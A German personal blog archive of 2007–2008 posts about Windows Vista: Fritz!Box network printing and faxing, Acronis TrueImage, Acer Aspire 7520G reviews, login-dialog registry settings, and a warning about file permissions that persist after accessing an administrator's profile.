Alex' blog (Artikel mit Tag vista)

Fritz!Box: Drucken über Netzwerk mit Windows Vista

nospam@example.com (Alex) — Mon, 21 Apr 2008 18:05:00 +0200

Hier hatte ich ja schon mal geschrieben, dass ich mir eine zweite Fritz!Box für das Drucken im Netzwerk geholt habe, da wir nur einen Drucker mit USB-Anschluss haben.

Unter Windows XP hat es auch hervorragend geklappt. Unter Windows Vista bis zum heutigen Tage nicht.

Normalerweise ist die Vorgehensweise für die Netzwerk-Benutzung eines USB-Druckers über eine passende AVM Fritz!Box ganz einfach:

Falls der Drucker schon installiert sein sollte, weil man ihn bereits über USB bisher benutzt hat, so erstellt man einfach einen neuen Drucker-Anschluss und stellt dann diesen statt dem bisherigen USB-Anschluss ein.

Der Assistent fragt die IP-Adresse bzw. den Hostnamen des Druckers ab: fritz.box reicht hier als Angabe bereits aus (wenn man nur eine hat). Dann vergibt man dem Drucker-Anschluss noch einen aussagekräftigen Namen wie bspw. so: Epson_CX5400. (Letztendlich ist es aber egal, wie man den Namen wählt.)

Windows redet bei diesem Namen allerdings ständig von Drucker-Port, was aber überhaupt nichts mit dem Port der Fritz!Box zu tun hat, der auf eingehende Druckaufträge wartet !

Der Router wartet auf dem/den internen Interface(s) auf Port 9100 auf Arbeit. Das ist bereits voreingestellt unter Windows. Genauso wie "raw".

Jetzt sollte man noch die bidirektionale Unterhaltung zwischen PC und Drucker (also Router) deaktivieren, da dies generell nicht funktioniert. (Zumindest nicht dann, wenn man nicht gerade Besitzer einer 7270 ist.) Wenn man dies nicht tut, bringt einem ein vielleicht sonst installierter Druck-Monitor (für Tintenstand-Anzeige, etc.) nur Ärger. Auf einen Druck-Monitor muss man eben verzichten.

Falls der Drucker nicht schon am PC installiert sein sollte, so kann man mittels des Drucker-Assistenten den neuen USB-Drucker direkt über die inf-Dateien installieren. Notfalls muss hierzu das ganze Setup-Paket (exe oder msi) auseinander genommen werden.

Beim Drucker-Assistenten muss man hier allerdings noch eine Kleinigkeit beachten: auch wenn der Drucker jetzt ein Netzwerkdrucker wird, er muss als lokaler Drucker installiert werden. Die ~~"Plug and Pray"-Erkennung~~ "Plug and Play"-Erkennung deaktiviert man natürlich - schließlich hängt er ja nicht am PC, sondern am Router.

So funktioniert das zumindest unter Windows XP problemlos, sofern man auch einen unterstützten Drucker seitens des Routers (sprich: Router-Firmware) hat. Unter Windows Vista funktioniert das so nicht bzw. es fehlt noch ein weiterer Schritt.

Irgendwann hatte ich die Sache aufgegeben und mich bis heute nicht mehr weiter darum gekümmert. Heute fiel es mir dann wie Schuppen von den Augen als ich einen gewissen neuen Menüpunkt entdeckte:

Als Administrator muss man unter Windows Vista nur noch den Drucker als "Online verwenden" aktiv schalten. Systemsteuerung => Drucker => Den Drucker auswählen => Kontextmenü aufrufen => Menüpunkt "Als Administrator ausführen - Online verwenden" anklicken. Fertig !

Jetzt läuft der Drucker auch endlich unter Windows Vista. (Aber lange bleibt Windows Vista hier trotzdem nicht mehr drauf. ;-) Da hat auch der SP1 nicht viel gebracht.)

Mit Acronis Trueimage 7.0 Windows Vista sichern

nospam@example.com (Alex) — Fri, 22 Feb 2008 21:57:00 +0100

Das ein Disk Imaging-Programm kein herausgeworfenes Geld ist, dürften die meisten Benutzer eines Windows-basierten OS bereits am eigenen Leibe erfahren haben. So verläuft das Neuaufsetzen des Systems in Rekordgeschwindigkeit.

Acronis Trueimage 7.0 ist schon ein recht altes Programm, funktioniert aber bei vielen Benutzern anstandslos. Zudem gab es Trueimage 7.0 mit dem Versionszusatz "Personal" vor längerer Zeit für quasi umsonst - als unlimitierte Version als Beilage der PC-Fachzeitschrift Chip.

Leider ist Trueimage 7.0 nicht mehr mit Windows Vista kompatibel. Zumindest lässt dies Vista einen nach der Installation von Trueimage 7.0 wissen. Das Programm lässt sich allerdings problemlos starten. Wahrscheinlich klappt nur das Erstellen und/oder das Zurücksichern eines Images nicht mehr. Vielleicht ist auch es auch fehlerhaft.

In Verbindung mit dem Acer Aspire 7520G und der Microsoft Vista Home Premium Edition lässt sich aber trotz SATA-Festplatte ein Image erstellen. Man installiert, obwohl es nicht kompatibel ist, Trueimage 7.0 unter Windows Vista und erstellt damit ein bootfähiges Notfallmedium. Hier wählt man die normale Version, die einem auch vom Programm empfohlen wird. Die abgesicherte Version enthält viele Treiber nicht, so dass zumindest beim genannten Laptop keine Festplatte gefunden wird, da der SATA-Controller nicht erkannt wird.

Deswegen ist der Versuch mit dem bootfähigen Notfallmedium auf jeden Fall die richtige erste Wahl. Falls es nicht klappen sollte, weil der Chipsatz schlichtweg nicht unterstützt wird, so kann man noch immer zur neusten Version (11.0) - zum Upgrade-Preis von ca. 30 EUR - greifen.

Faxen vom PC aus mit der Fritz!Box 7050

nospam@example.com (Alex) — Wed, 19 Dec 2007 12:34:00 +0100

Heute musste ich doch tatsächlich noch ein altmodisches Fax verschicken.

Normalerweise eigentlich kein Problem mit dem Laptop. Modem installieren und anschließend unter Windows XP den Fax-Dienst ebenfalls installieren. Nun kann man ein Dokument direkt als Fax drucken lassen.

Unter Windows Vista läuft das allerdings etwas anders. Zumindest dann, wenn man nicht die Business oder Ultimate Edition sein Eigen nennt. Um genau zu sein: es geht nicht.
Microsoft scheint hier den Fax-Funktionen komplett gestrichen zu haben.

Okay, Sauerei ! Aber ich muss jetzt trotzdem etwas faxen ...
Als Besitzer einer Fritz!Box vom Hersteller AVM hat man seit einigen Monaten die Möglichkeit auch unter Windows Vista Faxe verschicken zu können - und das über USB, WLAN oder LAN. Das ist natürlich besonders schön.
Die für Vista angebotene Version ist zwar immer noch Beta (wie Vista also quasi auch), aber für XP gibt es schon seit wesentlich längerer Zeit eine stabile Version.

Also habe ich die für Vista-taugliche Version installiert und prompt hat es nicht funktioniert, da der Router nicht gefunden wurde.

Normalerweise passiert das nicht, weil UPnP ab Werk aktiviert ist. Ich habe es aber komplett deaktiviert. Also musste ich es für die Dauer der Installation über das Webinterface erst einmal wieder aktivieren (sinngemäß: "Statusinformationen übertragen", nicht "Änderung der Sicherheitseinstellungen zulassen").

Nach der Installation muss man über ein angeschlossenes (Analog-)Tastentelefon die folgenden Tasten drücken:

#96*3*

Damit wird "CAPI over TCP" aktiviert.

#96*2* deaktiviert diese Funktion wieder. Nun kann man auch unter Windows Vista ein Dokument direkt als Fax drucken oder es in Fritz!Fax zum Versenden laden.

Wer "CAPI over TCP" nicht über das Telefon aktiviert hat, der bekommt eine Fehlermeldung (#1009), dass CAPI 2.0 nicht installiert sei und bis dahin arbeitet Fritz!Fax lange und lautstark auf der Festplatte vor sich hin. Die Meldung ist natürlich von der Aussage her Blödsinn ...

Wer UPnP wieder komplett deaktivieren will (ja, das muss normalerweise stets zum Faxen aktiviert sein und nicht nur zur Installation), der muss in der Registrierungsdatenbank unter dem Schlüssel:

HKLM\SOFTWARE\AVM\AVMIGDCTRL

die Zeichenfolge "FoundFritzBoxes" mit dem Wert der Fritz!Box zugeteilten IP-Adresse anlegen. Danach kann UPnP wieder komplett deaktiviert werden (bis zur nächsten Fritz!Fax-Installation).

PS: Was mir dabei auch noch aufgefallen ist, ist das in der Datei "ar7.cfg" im Verzeichnis "/var/flash" von USBHost gesprochen wird FTP bzw. Samba-Zugriff ... Es gibt zwar Fritz!Boxen von AVM, die Massenspeicher am USB-Port verwalten können oder als Print-Server dienen, aber das geht bei der Fritz!Box 7050 eigentlich noch nicht. Vielleicht sollte man dies einfach mal ausprobieren oder einen Blick unter die Haube riskieren ...

Update: Das Funktionieren von USB-Geräten an der 7050 kann man getrost vergessen.

Update 2: Gerade heute habe ich wieder ein Fax-Gerät gebraucht. Erfreulich: Unter Windows Vista SP1 läuft Fritz!Fax immer noch.

Acer Aspire 7520G Review

nospam@example.com (Alex) — Sun, 16 Dec 2007 10:00:08 +0100

Seit einigen Monaten werkelt der neue Laptop nun (fast) anstandslos vor sich hin. Und auf dieses "fast" möchte ich jetzt zu sprechen kommen.

Also "fast" auch nur deshalb, weil sich der Ein-/Ausschalter am Gerät schon langsam verabschiedet. Der Druckpunkt ist irgendwie verschoben. Damit wird das Gerät definitiv nach Neujahr zur Reparatur eingeschickt, weil es sich irgendwann sonst nicht mehr einschalten lässt. (Ausschalten kann man es ja auch anders.) Für eine relativ selten benutzte Taste schon ein schlechtes Zeichen.

Ansonsten könnte man vielleicht noch erwähnen, dass das TFT ziemlich viel Staub anzieht, aber dies ist schon fast ein an den Haaren herbeigezogener Grund.

Bis auf diesen kleinen Markel, der sicherlich nicht bei jedem auftritt, ist der Laptop ein wirklich anständiges Gerät. Von der Softwareseite her mit Vista natürlich nicht.

Der Katastrophe (vermutlich) letzter Teil

nospam@example.com (Alex) — Tue, 04 Dec 2007 23:48:00 +0100

Da dem neuen Laptop von Acer leider Microsoft Windows Vista (Premium) beilag und nicht XP, müssen wir uns damit zwangsweise rumschlagen, da Linux für meine bessere Hälfte nicht in Frage kommt.

Mangels übriger Windows XP Lizenz (egal welche Edition) muss es leider bei Windows Vista bleiben. Geld für eine weitere Windows XP Lizenz möchte auch niemand bezahlen. Und für eine andere Vista Edition genauso wenig.

Die in der EULA von Windows Vista angegebene Möglichkeit zum Downgrade auf XP ist leider für uns nutzlos - wie wahrscheinlich für die meisten Besitzer von Windows XP. Laut EULA ist doppelte Verwendung der bereits vorhanden XP-Lizenz nur erlaubt, sofern man die entsprechende Windows XP Edition bereits besitzt. Und dies sind eigentlich alle Editionen von XP außer der, die sicherlich am häufigsten (zwangs)verkauft wurde: die Home Edition.

Damit wird es leider bei Vista Premium bleiben. Aus diesem Grund haben wir uns für wenig Geld (nur Porto) die Vista Anytime Upgrade DVD zuschicken lassen, womit endlich eine saubere Neuinstallation durchgeführt werden kann. Die ursprüngliche Recovery-Partition, von der man auch Boot-DVDs herstellen kann, wurde bereits gelöscht. Wer will schon freiwillig ein total überladenes Windows mit Office, abgelaufener Virenscanner-Suite, Millionen von Bildschirmschonern, etc. haben ?

Jetzt fehlt nur noch ein Upgrade auf Acronis Trueimage 11.0 Home (da Version 7.0 nicht mehr unter Vista lauffähig ist), damit das tagelang feingetune'te OS auch anständig gesichert werden kann.

Momentan läuft noch das ausgelieferte Vista auf dem neuen Laptop (2x 1,86 Ghz; 2,0 GB RAM). Den Vergleich zu meinem optimierten XP auf meinem ca. fünf Jahre alten Rechner (1,2 Ghz; 480 MB RAM) verliert der neue Acer-Laptop haushoch: Während ich schon eingeloggt bin und E-Mails abgeholt habe, ist der Anmeldebildschirm von Vista immer noch nicht da ...

IKEA benutzt bereits Windows Vista

nospam@example.com (Alex) — Fri, 16 Nov 2007 20:57:00 +0100

IKEA setzt bereits auf Microsoft Windows Vista ...

Vielleicht sollte man auch noch erwähnen, dass der PC bereits mächtig hing, so dass ich nicht mal eben im Internet (oder gar Intranet) hätte surfen können.

Torq LE und Evolution X-Session UC-17

nospam@example.com (Alex) — Wed, 10 Oct 2007 10:51:00 +0200

Es funktioniert (zumindest mit Version 1.05 unter Windows Vista) !

Eigentlich braucht Torq LE (Mixlab) ein M-Audio X-Session Pro als Hardware-Dongle, aber es klappt auch mit einem Evolution X-Session UC-17 (Evolution wurde durch M-Audio vor einigen Jahren aufgekauft).

Es gibt eben auch mal tolle Zufälle.

Update: Und es funktioniert auch mit Torq Le 1.01 unter Windows XP.

Die Eigenheiten des neuen Windows Vista Anmeldedialogs

nospam@example.com (Alex) — Sun, 23 Sep 2007 17:53:00 +0200

Was sich Microsoft beim Bootvorgang bzgl. des nicht vorhandenen Logos gedacht hat, weiß ich nicht. Jedenfalls sieht der Ladebalken recht arm auf einem großen Bildschirm aus - sonst sieht man ja nichts abgesehen von einem kleinen Schriftzug. (Das ist allerdings kein Zustand, der sich nicht mit bspw. dem Tool "Resource Hacker" ändern ließe. Und nein, dass Tool heißt nur so.)

Der Syskey-Dialog, sofern man Syskey benutzt, sieht optisch besser aus als zu Zeiten von Windows XP. Dort erscheint dieser nicht im üblichen XP Luna-Style, sondern ist so gehalten, wie man es von Windows 2000 gewöhnt ist.

Den neue Welcome-Screen (Anmeldedialog) sieht man freilich nur dann, wenn man einen Benutzer mit Passwort oder mehrere Benutzer eingerichtet hat bzw. nicht Mitglied einer Domäne ist. Der Welcome-Screen, den ich persönlich nicht besonders gut ausgewählt finde, entspricht grob dem neuen Bildschirmschoner Aurora.

Zu diesem Welcome-Screen gibt es ein paar kleine Dinge zu sagen. Man kann mit dem Registry-DWORD-Wert
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\dontdisplaylastusername", wenn gesetzt auf "1", den Welcome-Screen dazu veranlassen, dass keine Benutzerkontenbilder mehr angezeigt werden, sondern man zur Eingabe von Benutzername und Passwort gebeten wird. Das entspricht dem alten Windows 2000 Anmeldedialog, nur dass er erstens nicht mehr so aussieht (ebeb nicht mehr wie ein Dialogfenster) und das der Registry-Wert unter Windows 2000 und XP etwas anderes tut. Dort löscht er tatsächlich nur den zuletzt eingeloggten Benutzer vom Namen her aus dem Feld. Für die Darstellung des klassischen (also im Windows 2000-Style) Anmeldedialogs ist unter XP ein anderer Registry-DWORD-Wert zuständig:
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LogonType" auf "0" gesetzt.

Altbekannt ist auch das nötige Drücken von [STRG] + [ALT] + [ENTF], bevor man zur eigentlichen Eingabemaske des Dialogs kommt. Hier muss man unter Windows Vista noch extra nachhelfen: Man startet das Programm "netplwiz.exe", klickt den Reiter namens "Erweitert" an und setzt das Häkchen bei "Sichere Anmeldung".

Wenn jetzt noch stört, dass man den PC per Mausklick herunterfahren kann, ohne dass man dazu berechtigt ist (durch einen Login), der kann dies wie auch schon früher mit dem Registry-REG_SZ-Wert" ShutdownWithoutLogon", auf "0" gesetzt, unter "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\" ändern.

Einige Registry-Hacks kann man auch unter den "Lokalen Sicherheitsrichtlinien", etc. vornehmen, aber wie das nun mal so ist, fehlen sie je nach Vista-Edition wieder einmal.

Wenn mir jetzt jemand noch verraten könnte, wie man die Eingabehilfen vom Welcome-Screen entfernt bekommt, wäre das toll. (So würden sich die Chancen für diesen Trick auch gleich nochmal verschlechtern.)

BTW: Ist jemanden schon der dünne, schwarze Rahmen um ein Benutzerbild auf dem Anmeldedialog aufgefallen ? Dieser Rahmen scheint immer den ersten Benutzernamen im Alphabet zu markieren. Was das allerdings bringt, weiß ich nicht. Vor allem weil alle Benutzernamen sowieso alphabetisch sortiert werden. Es kann allerdings sein, dass dieser Rahmen überhaupt erst auftaucht, wenn man den eigentlich stillgelegten Administrator-Account aktiviert, der sich nach der Installation bereits auf dem System befindet.
(Da ich dies gleich von Anfang an gemacht habe, damit ich nicht wie unter XP Home üblich den Zwang von zwei administrativen Konten erliege. Auch scheint es mir so, als würde man unter dem Administrator-Account trotz aktivierter UAC nicht so oft genervt werden. Möglicherweise habe ich allerdings beim System untersuchen und daran rumspielen etwas anderes verstellt ...)

Update: Dieser dünne, schwarze Rahmen ist schlichtweg nur eine Markierung, die mit den Cursor-Tasten der Tastatur bewegt werden kann. Also der Maus-Ersatz für den Login ...

Höhere Rechte erschleichen in Windows Vista

nospam@example.com (Alex) — Sun, 23 Sep 2007 17:00:00 +0200

Wer bereits unter Windows XP öfters "Ausführen als" benutzt hat, um sich schnelle Rechte eines anderen Benutzers (meistens wohl Admin-Rechte) zu verschaffen, der erlebt unter Windows Vista einen Rückschritt.

Es scheint unter Vista nur noch die Rechte-Erhöhung auf die Administrator-Ebene möglich zu sein. Ein Wechsel zwischen Standardbenutzern ist nicht mehr möglich.
Ebenso scheint es nicht möglich zu sein, dass man als Administrator Programme mit anderen Benutzerrechten per "Ausführen als" starten kann.

Und wer sich unter Windows XP der Einfachheit halber einfach den Windows Explorer mit Admin-Rechten gestartet hat, um mehrere Programm hintereinander aufrufen zu können ohne ständig sich per "Ausführen als" erneut einloggen zu müssen, der erlebt unter Windows Vista sein nächstes Wunder: Der Windows-Explorer startet schlichtweg nicht mehr nach Eingabe der Benutzerdaten.

Jetzt aber zum eigentlichen Fallstrick (laut Titel):

Wenn man als Standardbenutzer auf das Profil eines Administrators zugreifen will, dann hat man üblicherweise keine Berechtigung dazu. Die privaten Dateien vom Verzeichnis "Desktop" und den, sozusagen, neuen "Eigene Dateien" (wie "Dokumente", "Download", etc.) bleiben nicht zugreifbar. Da man über den mit anderen Rechten gestarteten Windows-Explorer nicht mehr darauf zugreifen, weil er eben nicht mehr startet, müsste man sich eigentlich ab- und als Administrator anmelden oder sich der schnellen Benutzerumschaltung bedienen. Beides recht lästig.
Unter Vista gibt es aber nun die Möglichkeit, dass man dennoch auf die Dateien des fremden Kontos zugreifen kann. Wenn man auf Verzeichnisse oder Dateien im Windows-Explorer irgendwo unterhalb des fremden Profils zugreifen will, dann wird man zur Eingabe des entsprechenden Passworts aufgefordert.

Ok, soweit eigentlich gut gelöst. Braucht man wenigstens dafür keinen Windows-Explorer mit anderen Rechten mehr zu starten. Allerdings bleibt dieser Zugriff keine einmalige Aktion, sondern wird dauerhaft ermöglicht. Letztendlich geschieht nach der Abfrage des entsprechenden Passwortes nichts anderes als das im Dateisystem Nur-Lese-Rechte für den aktuellen Benutzer eingerichtet werden (allerdings rekursiv). Wenn z.B. nun in einer Firma der Administrator A kurz so auf seine Dateien zugreifen muss von irgendeinem Arbeitsplatz-Rechner aus, weil Angestellter B dies und jenes wieder angestellt hat o.ä., dann muss er daran denken, dass er von Hand diese automatisch dauerhaft erstellten Rechte nach seiner Windows-Explorer-Session wieder entzieht, weil sonst Angestellter B jederzeit lesend auf das Profil des Administrators A zugreifen kann !

Wer jetzt meint, dass er sich eine Rechte-Erhöhung auf diesem Wege erschleichen kann, weil er die Verknüpfungen im Administrator-Profil startet, den kann ich hier enttäuschen. Die Programm werden zwar gestartet, aber als normaler Benutzer. Warum sollte es auch anders sein ? Der schöne arbeitserleichternde Trick mit dem Windows-Explorer zu Zeiten von Windows XP klappt schlichtweg nicht mehr - und nur so würden Programme mit anderen Rechten als den ursprünglich eigenen gestartet.

Nachtrag zum Acer Aspire 7520G

nospam@example.com (Alex) — Wed, 05 Sep 2007 04:58:58 +0200

Ich fange am besten mit dem Fazit an: Tolles Gerät !

Was mich aber am Gerät stört, ist das Vorhandensein einer mit dem Bluetooth-Logo verzierten Taste, welche mir aber leider nur zu verstehen gibt, dass das Bluetooth-Modul nicht eingebaut wurde. Das ist ziemlich dämlich, aber wussten wir vor dem Kauf. Nicht, dass Bluetooth hier jemand verwenden würde, aber so etwas kenne ich von meinem HP nicht, dass Tasten o.ä. eingebaut werden, ohne dass dann auch was dahinter steckt.

Den Verschlußmechanismus des Deckels (sprich: Display) hätte ich am Display selber angebracht. So hätte man daran auch gleich den Deckel öffnen können.

Das eingebaute Mikrophone könnte noch eine Ecke empfindlicher sein.

Der kleine Subwoofer taugt gar nichts. Ist aber klar auf Grund der Größe und des Volumens.

Eine Festplatte mit 7200 UPM wäre schon deutlich schneller gewesen. Windows Vista greift trotz 2 GB beim Booten schon kräftig darauf zu, so dass der Sound stottert. Mag aber auch an der Standard-Soundkarte liegen.

Windows Vista liegt als fertiges Image mit bereits vorinstallierter Software auf einer Recovery-Partition. Davon kann man sich selber DVDs herstellen oder aber direkt von der versteckten Partition erneut installieren. Dumm ist nur, dass die Installation nach dem Image einspielen nicht wirklich fertig ist und noch ewig Acer-Tools kopiert werden müssen, was in einem geforce'tem Reboot endet. Leider ist das Acer-Installations-Fenster nicht minimier- und verschiebbar, so dass man eigentlich zum Warten gezwungen wird. Es ist auch möglich nur Treiber, Handbücher und Anwendungen auf CD zu sichern. Die CD ist gar nicht mal schlecht aufgebaut was den Informationsgrad betrifft - aber natürlich nicht auf dem aktuellen Stand. Nochmal zurück zum Image: Es ist nur ein Image und das ist ziemlich blöd, da Symantec-Software, viele Bildschirmschoner, Microsoft Works, und anderes unnötiges Zeug integriert ist, was man nie wieder sauber aus dem System bekommt. Getune'd bekomme ich das System nur auf ca. 600 bis 700 MB RAM-Verbrauch, wenn man nichts tut. Es ist sind allerdings nochmal 100 bis 150 MB (nach eigener Erfahrung) weniger drin trotz aktivierter Aero Glass GUI. Da es so für mich keine perfekte Lösung ist, wird sich da in nächster Zeit noch was ändern, obwohl ich dies tunlichst vermeiden wollte: Problem mit Geld bewerfen und andere Vista-Version kaufen, die eine eigene DVD mitbringt. seufz Also werde ich mich daran wohl demnächst einmal beteiligen, obwohl das nicht mein Gerät ist, aber so geht das auch nicht.
Linux kommt leider nicht in Frage und XP Professional möchte keiner mit mir kaufen.

Was nicht schlecht gewesen wäre, wäre eine eigene Taste für den Schlaf-Modus (wie auch immer man diesen dann wählt). So geht es eben über eine Kombination mit [FN].

Dämlich ist auch, dass das Programm zu konfigurieren der Extra-Tasten einen nur drei von sechs Tasten umkonfigurieren lässt. Möglicherweise lässt sich da direkt was in der Registrierungsdatenbank machen.

Die integrierte Webcam, von der es wohl drei verschiedene Hersteller gibt, ist in unserem Fall von der Bildqualität (bei Leuchtstoffröhren-Licht) her schlechter als die Kamera in unserem Handy.

Die CIR-Schnittstelle finde ich dämlich. Wofür braucht man wirklich eine Fernbedienung für seinen Laptop ? Das würde ich nicht mal bei 19" Geräten befürworten.

[FN] könnte wirklich ganz links außen hocken.

Laut Acer ist Gigabit-LAN vorhanden. Laut Treiber geht aber maximal 100 Mbit/s Full-Duplex ...

Ansonsten ist alles prima. Sicherlich könnte es noch eine schnellere CPU haben, mehr Arbeitspeicher, eine größere HDD, Bluetooth, DVB-T, besserer Akku, etc., aber das kann man ja fast immer von einem Gerät fordern. Aber ich kann sonst über die Verarbeitung bislang nicht meckern, die Tastatur hat für meinen Geschmack einen guten Anschlag, Touchpad ist gut (mit zwei Scrollleisten als Cursor). Das große Display finde ich besonders gut.

Was ganz neues für mich ist natürlich die Arbeitsgeschwindigkeit, die das Gerät trotz Vista (32 Bit, Home Premium) an den Tag legt. Mit VMware habe ich gleich mal ein Ubuntu virtualisiert laufen lassen und das rennt schneller als auf meinem PC nativ. So kann man damit prima arbeiten.
Somit ist bis zum Bau eines eigenen Home-Servers klar, welcher PC in Zukunft VM-Server im Netz spielt.

Update: Ich habe noch drei Dinge vergessen zu erwähnen, die das BIOS (von Phoenix) betreffen:

Viel gibt es ja meist eh nicht, was man umstellen könnte, aber hier gibt es wirklich fast gar nichts !
Das normale Benutzer ins BIOS gelangen können und ihr eigenes Benutzer-Passwort ändern können ist nicht sinnvoll. Zumindest nicht dann, wenn sich mehrere Benutzer einen Rechner teilen - es gibt trotzdem nur ein Benutzer-Passwort. So kann der eine den anderen aussperren. Auch das sämtliche Einstellungen zumindest angeschaut werden können (Seriennummer, etc.) ist nicht besonders toll.
Das ATA-Security-Passwort kann erst dann gesetzt werden, wenn man als normaler Benutzer ins BIOS geht. Als Systemverwalter geht das nicht.

Update 2: Bei Punkt 2 war ich nicht ganz korrekt. Das Datum sowie die Uhrzeit kann auch ein normaler Benutzer im BIOS verändern. Dies ist nicht besonders sinnvoll. Schließlich hat es ja auch seinen Grund, warum die meisten OS das Ändern der Uhrzeit nur Administratoren erlauben.

Neuer Laptop: Acer Aspire 7520G 302G16

nospam@example.com (Alex) — Fri, 31 Aug 2007 23:11:00 +0200

Ein neuer Laptop hat heute den Weg in unsere Wohnung gefunden. Leider ist es nicht mein Gerät, aber ich darf es immerhin benutzen.

Es ist ein Aspire 7520G von Acer für 889 EUR. Die Ausstattungsvariante entspricht der Produktbezeichnung 302G16.
Da aber damit niemand etwas direkt anzufangen weiß, hier mal eine Auflistung der wesentlichen Eckdaten:

CPU: AMD Turion 64 X2 TL-56 (2x 1,8 Ghz, 2x 512 KB L2-Cache)
RAM: 2 GB DDR-2 (Dual-Channel)
HDD: 160 GB (SATA, 5400 UPM)
Grafikkarte: Nvidia Geforce 8400M-G (256 MB RAM)
Display: 17" Widescreen CrystalBrite™
DVD: Double-Layer Brenner
WLAN: 802.11 b / g
LAN: 10/100/1000 Mbit / s
Schnittstellen: 4x USB, 1x 1394, 1x VGA, 1x DVI-D (HDCP), 1x S-Video Ausgang, 5-in-1 Kartenleser, 1x Line-In, 1x Mic-In, 1x Line-Out bzw. SPDIF, 1x LAN, 1x RJ-11 (56K Modem), Infrarot (für Fernbedienung)
Sonstiges: Webcam (max. 640x480, mit Mikrophone), Kensington-Lock

Was er nicht hat, ist Bluetooth trotz Bluetooth-Taste. Wie gut, dass man Bluetooth 2.0 + EDR als USB-Stick mit 200 m Reichweite schon für weniger als 20 EUR bekommt.
Den RAM der Grafikkarte kann man aufstocken mit dem System-RAM, aber das will man eigentlich aus Performance-Gründen schon gleich zweimal nicht.
Was sehr cool ist, ist die Möglichkeit eine zweite Festplatte einbauen zu können. Somit wäre ein Software-RAID machbar.
Der Infrarot-Port ist nicht für Datentransfers gedacht, sondern soll wohl nur für eine optional (!) erhältliche Fernbedienung genutzt werden. Das lässt sich ja sicher ändern, obwohl Infrarot ja heutzutage eigentlich niemand mehr wirklich ernsthaft brauchen sollte.
Das WLAN ist dank dem fehlenden 802.11 a nicht ganz aktuell, aber stört auch nicht wirklich.

Zur Auswahl stand noch ein anderes Gerät für 90 EUR weniger mit nahezu identischer Ausstattung von Asus. Statt AMD ein Intel Core Duo mit zweimal 2,0 Ghz, kein 1394, nur 15,4" Display, Bluetooth 2.0 + EDR und einer ATI Xpress X2300. Da ich den PC auch mitbenutzen werde und Firewire nativ (!) dringender benötige als einen Intel Core Duo (obwohl professionelle Musiksoftware eher drauf (genauer: Core 2 Duo) optimiert ist), war es für mich auch dank des wesentlich größeren Displays relativ einfach, was gekauft werden sollte. Beide CPUs unterstützen außer dem XD- bzw. NX-Bit auch Virtualisierung: Bei Intel "Intel VT" bzw. "IVT" - bei AMD "Pacifica" bzw. "AMD-V" genannt.

Als Betriebssystem wird bei beiden Geräten Microsoft Windows Vista in der Home Premium Edition mitgeliefert. Das ist schon mal schlecht. Das will man nicht. Bei dem gekauften Acer gibt es allerdings auch keine Recovery-CDs. Diese darf man sich selber aus der versteckten Partition erstellen, die ein Werk-Image enthält. Also noch glatt drei DVDs gekauft, um dieses Image dreifach sichern zu können. Wer weiß, was einmal mit dieser versteckten Partition passieren wird ...

Vorziehen würde ich aus musikalischen Gründen auf jeden Fall immer noch Windows XP bzw. Mac OS und nicht irgendein Linux. (Sorry, bitte nicht verhauen. Aber das ist schlichtweg immer noch so und ist nur meine Meinung. Das Problem liegt meiner Meinung nach eigentlich hauptsächlich nur an der mangelnden Unterstützung von Profi-Soundkarten und fehlender Profi-Software.)
Windows wird allerdings auch für ein Spiel ("Die Sims 2" inkl. vieler Add-Ons) gebraucht, was meine bessere Hälfte ab und zu mal spielt. Eigentlich ist das auch fast schon der alleinige Grund für ein neues Gerät, da der alte HP zu wenig RAM hatte (Add-Ons in großer Anzahl fressen eben halt enorm RAM). Da die 512 MB zu je einem 256 MB Modul allerdings schon alle vorhandenen RAM-Bänke belegt haben und in die Jahre gegangener RAM schön teuer ist, sollte lieber ein neues Gerät her. (Ok, so extrem teuer ist alter RAM nun auch wieder nicht, dass ein neues Gerät günstiger kommt. )

Um so schöner natürlich auch für mich. Meine Recherche hat auch gezeigt, dass besagtes Spiel unter Wine nicht läuft. Außerdem kann ich ja nicht jemanden, der sich partout gegen etwas neues / anderes sträubt, sein Windows nehmen. Vielleicht läuft das Spiel aber auch nicht mehr unter Vista.

Noch eine XP-Lizenz kaufen kommt allerdings auch nicht in Frage, nur um XP statt Vista auf den Laptop zu machen. Auf der Acer-Homepage gibt es auch keine Treiber für XP. Also muss man sie sich diese an vielen Stellen zusammen suchen. Erweckt in mir jetzt auch nicht gerade eine große Freude. Was allerdings unglaublich störend ist, ist die Tatsache, dass das Image schon so Sachen wie Norton Internet Security von Symantec u.ä. enthält. Ich bekomme also ständig ein versautes Vista wiedergestellt von Partition bzw. DVD ... Und das, obwohl Vista an sich schon schlimm genug ist.
(Okay, Flip-3D der Aero-Oberfläche finde ich ganz gut gemacht.)
Mal schauen, welches Schicksal Vista auf diesem Gerät hier erleiden wird. Arbeiten kann ich so definitiv nicht damit !

Was noch erwähnt werden sollte, ist, dass die Tastatur und das Touchpad prima sind. Die Tastatur hat sogar einen Nummernblock, welcher wie auf einer normalen Tastatur vorhanden ist. Als nicht nur erreichbar über [FN]-Kombinationen. Das kommt eben durch das Mehr an Platz wegen dem 17" Display. Außerdem ist das Tastatur-Layout auch mal so gelassen worden, wie es noch brauchbar ist. Das sich [INS], [DEL], etc. natürlich immer woanders befinden, ist man ja gewöhnt und geht auch noch in Ordnung. Was nicht geht, ist wenn [´], [#], [ß], etc. woanders als sonst auf deutschen Standard-Tastaturen befinden. Da gibt es teilweise auch Backspace-Tasten, die in der Länge drastisch verkürzt werden oder [ENTER], welches noch größer wird als sonst, usw.
Leider ist bei dem Acer die [FN]-Taste wieder einmal zwischen [STRG] und [WIN] zu finden, anstatt ganz außen links, was viel besser wäre. Hanno würde dies ebenfalls befürworten. Beim Asus befindet sich diese Taste allerdings genau da, wo sie eigentlich auch hingehört: eben ganz links außen. Nett ist auch die Taste, die die Hintergrundbeleuchtung des Displays ausschaltet ohne das ein Stromsparmodus (Standby, etc.) dazu notwendig ist.

Ebenfalls sehr lustig finde ich die Tatsache, dass der Acer einen eingebauten Subwoofer hat. Auf der Unterseite des Gerätes ist also tatsächlich noch ein weiterer Lautsprecher verbaut. Na da bin ich ja mal gespannt, was ich mir brachial donnerndes in den nächsten Tagen anhören kann.

TrueCrypt in neuer Version

nospam@example.com (Alex) — Wed, 21 Mar 2007 01:30:24 +0100

